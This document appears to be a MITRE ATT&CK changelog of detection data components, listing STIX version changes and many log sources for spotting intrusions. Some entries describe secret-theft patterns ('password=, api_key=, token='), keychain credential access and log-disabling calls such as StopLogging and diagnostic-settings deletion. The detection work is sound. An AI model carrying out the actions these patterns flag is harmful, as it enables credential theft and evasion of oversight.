A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:05.783000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0103', 'external_id': 'DC0103'}] | |
| x_mitre_log_sources | [{'name': 'Domain Name', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:37.830000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0084', 'external_id': 'DC0084'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4768'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Kerberos', 'channel': 'Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4929'}, {'name': 'linux:syslog', 'channel': 'Unusual kinit or klist activity'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:14.586000+00:00 | 2025-10-22 18:41:09.269000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0071', 'external_id': 'DC0071'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4662'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4661'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:08.230000+00:00 | 2025-10-21 15:14:35.607000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0087', 'external_id': 'DC0087'}] | |
| x_mitre_log_sources | [{'name': 'azure:audit', 'channel': 'New device object creation'}, {'name': 'WinEventLog:Security', 'channel': 'Device Object Creation'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4928'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:20.946000+00:00 | 2025-10-21 15:14:36.803000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0068', 'external_id': 'DC0068'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=4929'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:17.768000+00:00 | 2025-10-21 15:14:40.681000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0066', 'external_id': 'DC0066'}] | |
| x_mitre_log_sources | [{'name': 'azure:activity', 'channel': 'Update conditionalAccessPolicy'}, {'name': 'esxi:vpxa', 'channel': 'vim.SessionManager.login / vim.AccountManager.createUser'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4739'}, {'name': 'azure:SigninLogs', 'channel': 'Add certificate credential, Update certificate credential'}, {'name': 'm365:dirsync', 'channel': 'Replication cookie changes involving Configuration partition with new server/nTDSDSA objects.'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=5136'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'esxi:vpxd', 'channel': 'permission change operations on datastores or VMs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-AppPassword, Add-MailboxPermission'}, {'name': 'm365:unified', 'channel': 'Add app role assignment grant to user: Consent to application by privileged or unexpected accounts'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:11.376000+00:00 | 2025-10-22 18:42:57.886000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0038', 'external_id': 'DC0038'}] | |
| x_mitre_log_sources | [{'name': 'Application Log', 'channel': 'None'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook errors loading or processing custom form templates'}, {'name': 'm365:unified', 'channel': 'Unusual form activity within Outlook client, including load of non-default forms'}, {'name': 'saas:okta', 'channel': 'Conditional Access policy rule modified or MFA requirement disabled'}, {'name': 'ApplicationLog:EntraIDPortal', 'channel': 'DeviceRegistration events'}, {'name': 'ApplicationLog:Intune/MDM Logs', 'channel': 'Enrollment events (e.g., MDMDeviceRegistration)'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed & Exchange Audit'}, {'name': 'm365:purview', 'channel': 'MailItemsAccessed, Search-Mailbox events'}, {'name': 'WinEventLog:Application', 'channel': 'Office Add-in load errors, abnormal loading context, or unsigned add-in warnings'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed'}, {'name': 'Application:Mail', 'channel': 'smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)'}, {'name': 'saas:slack', 'channel': 'file_upload, message_send, message_click'}, {'name': 'saas:teams', 'channel': 'ChatMessageSent, ChatMessageEdited, LinkClick'}, {'name': 'saas:gmail', 'channel': 'SendEmail, OpenAttachment, ClickLink'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf, MessageSend, AttachmentPreviewed'}, {'name': 'WinEventLog:System', 'channel': 'Changes to applicationhost.config or DLLs loaded by w3wp.exe'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6416'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'Device started/installed (UMDF) GUIDs'}, {'name': 'linux:syslog', 'channel': 'usb * new|thunderbolt|pci .* added|block.*: new .* device'}, {'name': 'macos:unifiedlog', 'channel': 'Device attached|enumerated VID/PID'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types'}, {'name': 'Application:Mail', 'channel': 'Inbound messages with anomalous headers, spoofed SPF/DKIM failures'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound email activity with suspicious domains or mismatched sender information'}, {'name': 'm365:unified', 'channel': 'FileAccessed: Access of email attachments by Office applications'}, {'name': 'saas:collaboration', 'channel': 'MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)'}, {'name': 'ApplicationLog:IIS', 'channel': 'IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)'}, {'name': 'ApplicationLog:WebServer', 'channel': '/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors'}, {'name': 'macos:unifiedlog', 'channel': 'App/web server logs ingested via unified logging or filebeat (nginx/apache/node).'}, {'name': 'ApplicationLog:Ingress', 'channel': 'Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections'}, {'name': 'esxi:vmkernel', 'channel': 'vmkernel / OpenSLP logs for malformed requests'}, {'name': 'networkdevice:controlplane', 'channel': 'Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule execution failure or abnormal rule execution context'}, {'name': 'm365:unified', 'channel': 'Creation or modification of inbox rule outside of normal user behavior'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails containing embedded or shortened URLs'}, {'name': 'Application:Mail', 'channel': 'Inbound emails containing hyperlinks from suspicious sources'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages with embedded or shortened URLs'}, {'name': 'azure:signinLogs', 'channel': 'ConsentGrant: Suspicious consent grants to non-approved or unknown applications'}, {'name': 'm365:unified', 'channel': 'AppRegistration: Unexpected application registration or OAuth authorization'}, {'name': 'm365:unified', 'channel': 'MessageSend, MessageRead, or FileAttached events containing credential-like patterns'}, {'name': 'm365:exchange', 'channel': 'Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains'}, {'name': 'saas:slack', 'channel': 'chat.postMessage, files.upload, or discovery API calls involving token/credential regex'}, {'name': 'linux:syslog', 'channel': 'Inbound messages from webmail services containing attachments or URLs'}, {'name': 'macos:unifiedlog', 'channel': 'Received messages containing embedded links or attachments from non-enterprise services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031,7034,1000,1001'}, {'name': 'linux:syslog', 'channel': "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."}, {'name': 'esxi:hostd', 'channel': "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."}, {'name': 'macos:unifiedlog', 'channel': "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons."}, {'name': 'esxi:hostd', 'channel': 'unexpected script/command invocations via hostd'}, {'name': 'linux:syslog', 'channel': 'System daemons initiating encrypted sessions with unexpected destinations'}, {'name': 'esxi:vpxd', 'channel': 'Symmetric crypto routines triggered for external session'}, {'name': 'AWS:CloudTrail', 'channel': 'SendEmail'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeModel'}, {'name': 'saas:openai', 'channel': 'High volume of requests to /v1/chat/completions or /v1/images/generations'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Add-InboxRule, RegisterWebhook'}, {'name': 'saas:application', 'channel': 'High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns.'}, {'name': 'NSM:Connections', 'channel': 'PushNotificationSent'}, {'name': 'saas:okta', 'channel': 'MFAChallengeIssued'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution'}, {'name': 'linux:syslog', 'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain|Set domain authentication|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document|clicked link|segfault|abnormal termination|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:35.474000+00:00 | 2025-10-21 15:14:36.580000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0093', 'external_id': 'DC0093'}] | |
| x_mitre_log_sources | [{'name': 'Certificate', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:58.597000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0090', 'external_id': 'DC0090'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'Stop logging for an existing CloudTrail'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of CloudTrail trail'}, {'name': 'azure:activity', 'channel': 'az monitor diagnostic-settings delete'}, {'name': 'saas:audit', 'channel': 'Log export integration removed or disabled'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, or DisableSecurityService'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:30.989000+00:00 | 2025-10-21 15:14:39.702000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0083', 'external_id': 'DC0083'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'GetSecretValue'}, {'name': 'gcp:secrets', 'channel': 'accessSecretVersion'}, {'name': 'azure:ad', 'channel': 'SecretGet'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:ListInventoryEntries'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery'}, {'name': 'azure:audit', 'channel': 'ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects'}, {'name': 'm365:unified', 'channel': 'Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks'}, {'name': 'saas:adminapi', 'channel': 'ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities'}, {'name': 'AWS:CloudTrail', 'channel': 'GetInstanceIdentityDocument or IMDSv2 token requests'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeUsers / ListUsers / GetUser'}, {'name': 'azure:signinlogs', 'channel': 'Graph API Query'}] |
| STIX Field | Old value | New Value |
|---|---|---|
